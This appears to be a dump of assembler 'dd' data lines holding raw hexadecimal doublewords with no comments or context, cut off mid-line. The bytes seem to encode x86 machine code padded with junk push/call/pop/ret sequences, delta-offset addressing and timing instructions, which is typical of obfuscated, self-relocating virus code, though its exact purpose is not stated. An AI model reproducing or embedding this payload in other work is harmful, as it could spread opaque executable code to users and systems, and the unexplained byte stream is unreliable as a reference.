0FF4A1CDDh, 4BB689B5h, 95FFF506h dd 648177Dh, 55858B60h, 0F806482Ah, 1DBD8361h, 206482Fh dd 43840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 19FFC3h, 8B65F965h, 48155185h, 0EF816606h dd 0C641BDh, 0FE900h, 84160000h, 1819A7BDh, 6975D27Ch dd 69E6283Dh, 0E185C708h, 64816h, 2B000000h, 4832CD9Dh dd 0F4EFE906h, 0BD0BFFFFh, 6480E0Dh, 0BD8BC18Bh, 6480999h dd 1B21BD8Bh, 858D0648h, 6481255h, 5918D09h, 53500648h dd 0D71FBB66h, 2404895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0E8C35747h, 0AFB3802Eh, 6A17B3DAh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 24F852h, 0BA3BF746h, 2E59BD23h, 6A0648h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9C35040h, 5075C324h dd 0F412D0Eh, 858DFAB7h, 64D17DCh, 13B5BD8Bh, 0C0830648h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0D828BFC0h, 230FBB66h, 234D9589h, 50900648h dd 5E9h, 55F700h, 6A902341h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0B3A2C352h, 61605357h dd 81575B5Fh, 34C23EDFh, 6A5F73h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0C35242h, 0C3B78D99h, 0B0850DDEh dd 0ADD38115h, 6A67FC7Bh, 91850100h, 0FF064817h, 482B2D95h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8D8D950Bh, 64B9938h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0FEC35141h, 890CEB1Dh, 482849B5h dd 31BD8906h, 89064818h, 482A89B5h, 0FD1FF06h, 481h, 0FFBB6600h dd 0E5BD8343h, 1064830h, 4F850Fh, 12E80000h, 99000000h dd 8C0459B0h, 9A277F14h, 0CB4AEF94h, 4A191996h, 5B6CB3F5h dd 8F0F026Ah, 6, 17919589h, 0BB500648h, 2C686ADEh, 0F240489h dd 684h, 0E1BD2300h, 0E9064815h, 7, 0EF9FF873h, 0FF18CE6Fh dd 48005195h, 0E68E906h, 0E80000h, 5D000000h, 17E6ED81h dd 9D8B064Dh, 6483371h, 0EE9h, 0E82D3F00h, 9F7580E0h, 0A3636582h dd 8D09F69Eh, 4B93DA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 1A5F6C5Ah, 2ED78166h dd 5250500Ah, 5B535250h, 0BB66310Fh, 585A4B6Dh, 0AE8310Fh dd 2000000h, 0C7F25A25h, 5CD5F819h, 585A5BEAh, 8B240489h dd 35FF64FEh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5EC35242h dd 32EB3B76h, 5369EB81h, 0DA8B0118h, 258964h, 51000000h dd 29B19D8Bh, 0F95F0648h, 1AD185FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8B4AC3h dd 648078Dh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 83C8E2C3h, 0CB8166A0h, 0B5FFD45Fh dd 648283Dh, 29ED9D8Bh, 95FF0648h, 64810D9h, 105E9h, 90D6BB00h dd 0B02ECFh, 2B9DB529h, 0C3800648h, 5270E62Ch, 28C19D8Bh dd 0E45B0648h, 0B99D8B71h, 3C06481Bh, 0DB830F61h, 0BF000000h dd 488F3042h, 0BBC8B60Fh, 6D24355h, 0BA32C780h, 6, 8BC18BF9h dd 480F75BDh, 31BD8B06h, 0C106480Dh, 858904E8h, 6480869h dd 0E8E2F766h, 0Ch, 3485C9B6h, 3B9A5C25h, 7C60BDBFh, 3059BD8Bh dd 2B5B0648h, 0DF8166C8h, 0D18B7FFFh, 4459D31h, 7FE90648h dd 0F000000h, 858BFEBFh, 505F4C4Ch, 83FB8B66h, 0BD0107C0h dd 64809ADh, 0F900C083h, 830FD03Bh, 14h, 1B9D9D89h, 0EB800648h dd 50E9BAh, 8D890000h, 64805F1h, 0FFFF8D8Bh, 9E9FFFFh dd 8D000000h, 6ACE9154h, 8D8ED297h, 5FA5B353h, 0F01E183h dd 2984h, 91958900h, 8306481Ch, 0FFFFFFA5h, 8166FEFFh dd 897763DBh, 5F4C4C95h, 68A0F50h, 81000000h, 0A30D99DFh dd 0E968h, 0B58D0000h, 64C9227h, 8E99509h, 6A0648h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h, 0FB1CBCBh dd 22CB86D7h, 4D8D013Eh, 66064831h, 0FF7D05BBh, 48092D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0E19B916Bh, 0F7FB9AAh, 0BD8B0000h, 6481871h dd 6AFCE183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0B6DBC357h, 736BC0E5h, 6E833h dd 626B0000h, 87E1EE05h, 5BD88B66h, 57006AFCh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0D8AA9138h dd 919D8B41h, 80064813h, 0C02BF9CFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 45C35242h, 6E91FDEh, 0B8000000h dd 8D51ECA2h, 0BA7Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 12BC30C3h, 0AF78557Fh dd 0DE8h, 11EE3500h, 5BD03FD6h, 0A6730C9h, 0D7B3C8DBh dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 6AF946h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 5EE902C3h, 0A9950945h, 0D064806h, 88h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F2C35646h, 8BFE8AB4h dd 48140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 9586993Bh, 66A06031h, 8529FA8Bh dd 6482BDDh, 30258D8Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 30216AC3h, 8B505C0Fh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 52C35141h, 0D5784BC3h dd 8B0F94DCh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0CCC35646h dd 0FCB21931h, 12FDBD83h, 0F000648h, 7284h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 57F4CDF5h, 1F0DB589h, 0B80648h, 0E8000000h, 0Fh, 332F59DDh dd 9F4EF5Eh, 0D245C6F1h, 66DC3984h, 0A0E5C781h, 808D8D5Fh dd 5306484Eh, 6AE1FF5Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0F6EDC353h, 8166745Eh dd 83964FD7h, 482AD9BDh, 840F0006h, 429h, 0CF8EEB81h, 0BD835836h dd 6482AD9h, 31840F01h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1D03C356h dd 0A48F515Eh, 51A14728h, 7E8h, 97264500h, 0DCD765FEh dd 5F78EB80h, 0D9BD835Fh, 306482Ah, 3B8860Fh, 8D890000h dd 6480F3Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 4BEF3B6Ah, 0A98D89F4h, 6606481Ah dd 0BF66D98Ch, 0E180BDCBh, 19D8B04h, 0A064832h, 14840FC9h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0F28C351h, 186h, 858BFC00h, 6481159h dd 8533FA8Bh, 6481219h, 9E8h, 0BEA9ED00h, 6343D128h, 0D381AF21h dd 60E69B74h, 8B66905Bh, 525050DAh, 0EE8h, 0CF460800h dd 0CEBCACD8h, 0B1141E2Fh, 505EE902h, 310F5B5Fh, 61605250h dd 0DF8B310Fh, 585A585Ah, 0A1BD8990h, 8B064829h, 481715BDh dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0E107C353h, 0BD0B83DEh, 64828C9h dd 85CF1B68h, 0AE936h, 88990000h, 3544F7C9h, 600CFAC2h dd 0E4243481h, 0FF369ACCh, 48074195h, 18830F06h, 0E9000000h dd 13h, 0BE1C9152h, 0CBE80E25h, 7C4977Ch, 4B8361F4h, 899CACB8h dd 4BB68985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0FBF431C1h, 1FAE9h, 0D99D8B00h, 8B06480Eh dd 4BB68185h, 8D896006h, 648102Dh, 0C761F9h, 18h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 5DC35040h, 0A43AD8EDh dd 69958935h, 8B064832h, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 111D3C4Ah dd 0ECC8752Bh, 0ABBB66B7h, 85858BABh, 6A06481Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 6305C355h, 0A1A39C03h, 834A1739h, 89D8B70Fh, 0C1B58906h dd 8B06482Ah, 48115985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5CB78012h, 6F9B589h, 0E9600648h dd 6, 0A4B94DBBh, 89609122h, 4805C585h, 0D9858B06h, 61064829h dd 4468961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0F3C35343h, 49D38E80h, 890F6096h, 6, 310F5250h dd 5061585Ah, 0F98D8996h, 0FF064804h, 4BB681B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD897353h, 6482F71h, 4E8h, 1F03FF00h, 0FE900h, 0A1750000h dd 0A3EFE31Bh, 0C9BF274Ah, 5847190Ch, 20BF5005h, 8B7BBF7Ah dd 0E9042444h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h dd 8E53C4F3h, 0E8008B9Ch, 0Fh, 23218F94h, 121AA2E6h, 434FD5BDh dd 8B719B01h, 44895FFEh, 8B660424h, 8D8958FAh, 6480C09h dd 0B689858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0FFB7E9C3h, 0EB816671h, 820F4509h dd 6, 7A32E381h, 8B50044Dh, 240489F8h, 74195FFh, 0F98A0648h dd 61DF8B66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 77C35747h, 50452C70h, 85C768FEh, 6482AD9h, 3, 0B689BD83h dd 0F00064Bh, 3184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 313D4855h, 72202418h dd 0B589AEB6h, 648158Dh, 1CE9h, 3050F800h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0AE8E715h dd 6C000000h, 9904D410h, 47B7A1F9h, 0D98B66D6h, 57006A5Bh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E9AA3454h, 13h, 5817C760h, 5EB96775h, 0F50E2815h, 91666E8Eh dd 83DED948h, 482AD9BDh, 850F0306h, 42Fh, 5E9h, 0D227C700h dd 0BD8383BEh, 64BB689h, 18840F00h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0E0D3C355h, 3B884BFh, 12E966h, 0B3FE0000h, 6EF1214Dh dd 0E3902867h, 0C9773B92h, 5E9BD8B4h, 8E9h, 0A279CB00h dd 0F55E9923h, 89B5FF5Eh, 6A064BB6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BE3C357h dd 482A319Dh, 0F595FF06h, 6A064809h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5DDEC356h dd 0CA1999E4h, 1DE2AA83h, 294D9529h, 0DA8A0648h, 0B67DB58Bh dd 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E8648FC3h, 11h, 0F7891077h, 6D4C84h, 36599269h dd 0E0F31C34h, 59BD0B25h, 5F064831h, 106C7h, 6A0001h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8CBA6AC3h, 80F80A72h, 0BD8B10EBh, 6483301h, 0BE996h dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 0BF6650C0h, 6696203Eh dd 80C381BBh, 0B5FF98C3h, 64BB689h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0D4C35040h, 782CD5C8h, 6195FFh dd 0BD8B0648h, 64805A9h, 0B67DB58Bh, 8B60064Bh, 4805E195h dd 8D896106h, 64811BDh, 0F25858Bh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 733075C3h dd 0FCA532E6h, 0C4868918h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 60CCC350h dd 958BD8B5h, 6481405h, 2865BD01h, 0C2830648h, 71CB8104h dd 897E5C71h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 12A11AC3h, 0DBF36512h, 0D4858DB3h dd 8B064BCAh, 0B88689F9h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BDF9C355h dd 6A314Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0AFC35242h, 8356FA2Ch, 100EBFD6h, 0B5FF7B8Eh, 64BB689h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 73C35545h, 0D4CFF2D2h, 4D5BD89h, 0F88B0648h dd 5195FFh, 95090648h, 6480BFDh, 8B666050h, 615A53FBh dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0F96EC351h, 0EBBC7758h, 9D89F56Dh dd 6480459h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 8544C7C3h, 0F8F76E41h dd 95FFA4B7h, 6481429h, 0BE8h, 0A1895200h, 58AD2567h, 0AEE30CCBh dd 2860Fh, 0FE8A0000h, 0A9BD835Fh, 64831h, 32840Fh, 8D890000h dd 6482B35h, 502BB796h, 2830Fh, 0FC8A0000h, 198A0F96h dd 0E8000000h, 10h, 67BFA507h, 0D912563h, 200000Eh, 0F4C5F662h dd 5BDEBF0Fh, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF0E6C3h, 95FFF9B7h dd 64813FDh, 6460BB66h, 0B689B5FFh, 0CB81064Bh, 3A54E009h dd 177D95FFh, 95890648h, 6481B51h, 2F1DBD83h, 0F020648h dd 4F84h, 2DBD0300h, 0F064832h, 480h, 7BF6600h, 51858B5Fh dd 0F064815h, 687h, 599D8B00h, 0C6064823h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0FC40E2C3h, 0AA81EEE5h, 0FC0F468h, 0FB8BFFBFh, 16E185C7h dd 648h, 8B0F0000h, 2, 14E9F88Bh, 0CE000000h, 0A9FF9FC8h dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 0E9F4BE5Dh, 0FFFFF2D4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h dd 0BF0F0413h, 65BD8BF8h, 8B06481Ch, 57006AC1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1EFCC3DDh dd 0E94DD54Bh, 8, 0F502054Eh, 89777BEAh, 8AE2EB81h, 858D155Fh dd 6481255h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 3C35646h, 1F9A08DDh, 0F68A2B00h, 17F58D89h, 50500648h dd 800F52h, 0F000000h, 89585A31h, 8D0F2404h, 0 dd 0BD01006Ah, 648123Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FB676C3h, 687h, 89BD0900h dd 8D064818h, 4D286F85h, 11E906h, 0AB890000h, 0B1A24753h dd 1D20F540h, 0AC89A76Dh, 83B1621Fh, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 848D94C3h dd 138EC0A2h, 5E9h, 4E51AF00h, 0B70FEB7Bh, 0CE950D8h, 97000000h dd 68D494C9h, 0F2516B8Eh, 89E5CDCCh, 8DBF2404h, 6A4E8B2Dh dd 0BDBD8900h, 6A06481Bh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9C424536h dd 28F70DF0h, 0AE781C0h, 316EC8F3h, 480AB98Dh, 2D95FF06h dd 5606482Bh, 0DE8h, 657C8100h, 0A8689EBDh, 0F7BB63BDh dd 840FAD96h, 0 dd 0B70F5F5Fh, 388D8DDAh, 0F064B99h, 0C83h, 6820F00h, 33000000h dd 4822B59Dh, 31952906h, 0FF064812h, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E5BD8395h dd 1064830h, 9E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 8485D9C3h, 0BF4AEADAh dd 636D70B8h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 2F4154C3h, 481A606Bh, 0FCDD8518h dd 89DE8B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 31BE10C3h, 9445785Bh, 5195FFh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 6094E5C3h, 0FA8BBDEDh, 0DA9E9h, 0E800h, 815D0000h, 4D2879EDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0AA3B0711h, 0A00CBAEAh, 13E9h, 0BA69B800h dd 0C0335989h, 6049BA29h, 27BAA708h, 0D87DD66Fh, 32299589h dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0AAA83FC3h, 0A81148D9h, 858DC27Ch, 64B93DAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h dd 90069E33h, 8B525060h, 0E9310FFEh, 11h, 6E620A9Ch, 0A310B152h dd 0E6733075h, 18FCA532h, 66585A09h, 5061F38Bh, 0DB39BF66h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F9BCAD81h, 0BD0B6050h, 64810C5h, 0FF645B61h dd 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0D5379631h, 2371BD2Bh, 89640648h dd 25h, 0D185FF00h, 6A06481Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0BF17C353h, 6870FF9h dd 8B000000h, 4829FDBDh, 6AFF6A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8609C355h dd 27B98589h, 0B5FF0648h, 648184Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0C5C35545h, 9D8BA080h, 64813E5h dd 10D995FFh, 16E90648h, 0F000001h, 38Dh, 0D8BF0F00h, 5E900B0h dd 56000000h, 0A7C6B309h, 0BD8970E6h, 6482759h, 0BD8B71E4h dd 648057Dh, 830F613Ch, 0E9h, 158D8960h, 8B064800h, 0B60F61CEh dd 68A0FC8h, 89000000h, 48284DBDh, 6BA06h, 0C5BF0000h dd 8B741E07h, 4E8C1C1h, 80E2F766h, 0C82BB4E3h, 0EE9h, 0B8C97300h dd 7E50C58Ah, 0E6B8359Ah, 8BF120F9h, 0DBD381D1h, 0E90B5360h dd 99h, 6840Fh, 85890000h, 6481885h, 554C858Bh, 0C0834947h dd 0C08307h, 66FEBF0Fh, 3B2CC8BFh, 11830FD0h, 81000000h dd 0BBFF38CBh, 67E97Fh, 0BD8B0000h, 6481319h, 0FFFF8D8Bh dd 10E9FFFFh, 8E000000h, 25C7CE24h, 6EA3F34Dh, 79184C21h dd 83006521h, 840F01E1h, 3Dh, 0BB66D381h, 0A583178Fh, 0FFFFFFFFh dd 0CE8FEh, 796D0000h, 6C5D56ECh, 26EB7F28h, 3BB7F3EDh dd 4C95895Bh, 0E9494755h, 0Ch, 1A0DE5B5h, 32FB29B3h, 0D29D2C68h dd 0E9h, 0A6B58D00h, 6A064CA1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0E4C3C352h, 4292A877h dd 0AB99501h, 6A0648h, 11F1B589h, 95FF0648h, 648092Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h dd 73D9589h, 840F0648h, 4, 8896BF66h, 1058B9h, 6830F00h dd 8B000000h, 4805A1BDh, 0FCE18306h, 2C199D03h, 6AFC0648h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0A83AC351h, 0E1A9265Fh, 0B8B8F568h, 0 dd 1715BD8Bh, 0D22B0648h, 2391B531h, 33AD0648h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 6A54C3h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 6F06D1C3h, 0F960567Fh dd 61D2B70Fh, 880D5Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 5BD272C3h, 5C56AD43h dd 1405958Bh, 0BF660648h, 8D8BE292h, 6483025h, 0C58AF560h dd 0C28B5061h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 158188Bh dd 481A6D8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 9E9D3h, 0B840000h, 0EE8780C2h, 6614A9D3h dd 6ED2F781h, 12FDBD83h, 0F000648h, 6084h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 160DA97Ah, 361E4195h, 0B853h, 7ABF0000h, 8D4D1F02h dd 484E808Dh, 41BD8B06h, 0FF064816h, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0CCFBAFFh dd 1DF14EA7h, 0D9BD83B4h, 6482Ah, 452840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 836ADDC3h, 482AD9BDh, 840F0106h, 443h, 0B1CC5CBFh, 0D9BD8376h dd 306482Ah, 3FB860Fh, 860F0000h, 6, 0AD19D8Bh, 6A600648h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 661CC353h, 9D8BD98Ch, 6482BF5h, 32499D8Bh dd 0E1800648h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 20CB4C3Ah, 0DA32CD13h dd 6AE78148h, 0A3EB375h, 0F1840FC9h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 936DC353h, 28C9033Eh, 0DF80A732h, 59858B95h, 81064811h dd 4C0C64EFh, 19853339h, 0BB064812h, 6167958Dh, 52506050h dd 0AE9h, 71C47900h, 42C22D49h, 0F16AD03h, 8E0F31h, 5A000000h dd 0D38B5258h, 4896159h, 31006A24h, 481F098Dh, 4E806h dd 3FF0000h, 0B4B3001Fh, 45B26050h, 8B61C88Ah, 60042444h dd 0D484BB66h, 0E8008B61h, 0Dh, 0A6DDA9AAh, 798D73EDh dd 699FE2CCh, 44895F47h, 60530424h, 0F5D60B8h, 840F0Fh dd 61000000h, 8B66585Fh, 4195FFFBh, 0F9064807h, 0B6898589h dd 9D8B064Bh, 648145Dh, 232E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 11E924Ch, 9589BA28h dd 648020Dh, 0B681858Bh, 12E9064Bh, 53000000h, 37C85631h dd 0A8165647h, 0ECFFBCCBh, 0EE777A9Ch, 1800C7C3h, 0F000000h dd 8Eh, 85B58B00h, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 64B4C355h, 850F2FA4h dd 0Eh, 9E9h, 0D484500h, 0BD775FBFh, 858B90E8h, 6481A85h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 6AC35242h dd 2F68ABF0h, 89A40F88h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E98BFEC5h, 0Ah, 9D700EBDh dd 0B426100Eh, 0BD3120DFh, 6480789h, 1159858Bh, 0DE80648h dd 2A000000h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 11E9h dd 6130F300h, 68366567h, 0D6DD99F0h, 183391D3h, 895BE686h dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0B183E7C3h, 90FEC8D7h, 170DB589h, 8B960648h dd 0BF6650F9h, 6A968167h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 11A6C351h, 0B681B5FFh dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 3B38F2C3h, 0EC209E85h, 667D2ECFh, 0E8C51DBBh dd 10h, 0B68F13BAh, 46AA7FE1h, 2F36C259h, 8FBF3DD6h, 1A219D31h dd 685B0648h, 9AFF110Ah, 0B220BF66h, 0F5240481h, 81651FF2h dd 0E93C36DBh, 89858D25h, 6A064BB6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FC25C356h dd 6BA53B98h, 901053A6h, 4890Fh, 0BF660000h, 0BF504024h dd 3220BA8Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0D0410F4Bh, 0FF48B7ADh, 48074195h dd 96CF8106h, 61125C9Eh, 6E8h, 7D02BD00h, 0FD5602Ch, 38Fh dd 0E9F78000h, 0D985C75Bh, 306482Ah, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0FF89C351h, 1F85A213h, 0FF92145h, 589h, 4660BF00h, 0FA8B6C90h dd 0B689BD83h, 0F00064Bh, 3484h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EF489720h dd 0D055C73Eh, 2AD19D03h, 21E90648h, 81000000h, 2B4A2AEBh dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 5358589h, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 2651B7C3h, 0E98D437Bh dd 6, 9D519C99h, 0BD836B25h, 6482AD9h, 0D7850F03h, 89000003h dd 48288D95h, 89BD8306h, 64BB6h, 3C4840Fh, 0B560000h, 4814E9BDh dd 0B5FF5F06h, 64BB689h, 68C0Fh, 0B5290000h, 648121Dh dd 9F595FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 68E5CEC3h, 0B67DB58Bh, 6A064Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 8BFBD0C3h, 0B70F6098h, 12E9CAh, 33060000h, 0B11FD07h dd 9F0A93F9h, 971191C1h, 0DB03B003h, 106C761h, 6A000100h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0AEDDC351h, 7599D892h, 0FCF81FCh, 0F4B4CD2h dd 0F96DABFh, 483h, 0CBBB6600h, 12E95057h, 93000000h, 1E60CF5Eh dd 0CEFEBE07h, 0DECD67B9h, 362EE697h, 6A9623h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 3101B9C3h, 1EF13134h, 22D59D8Bh, 0B5FF0648h, 64BB689h dd 0C205F781h, 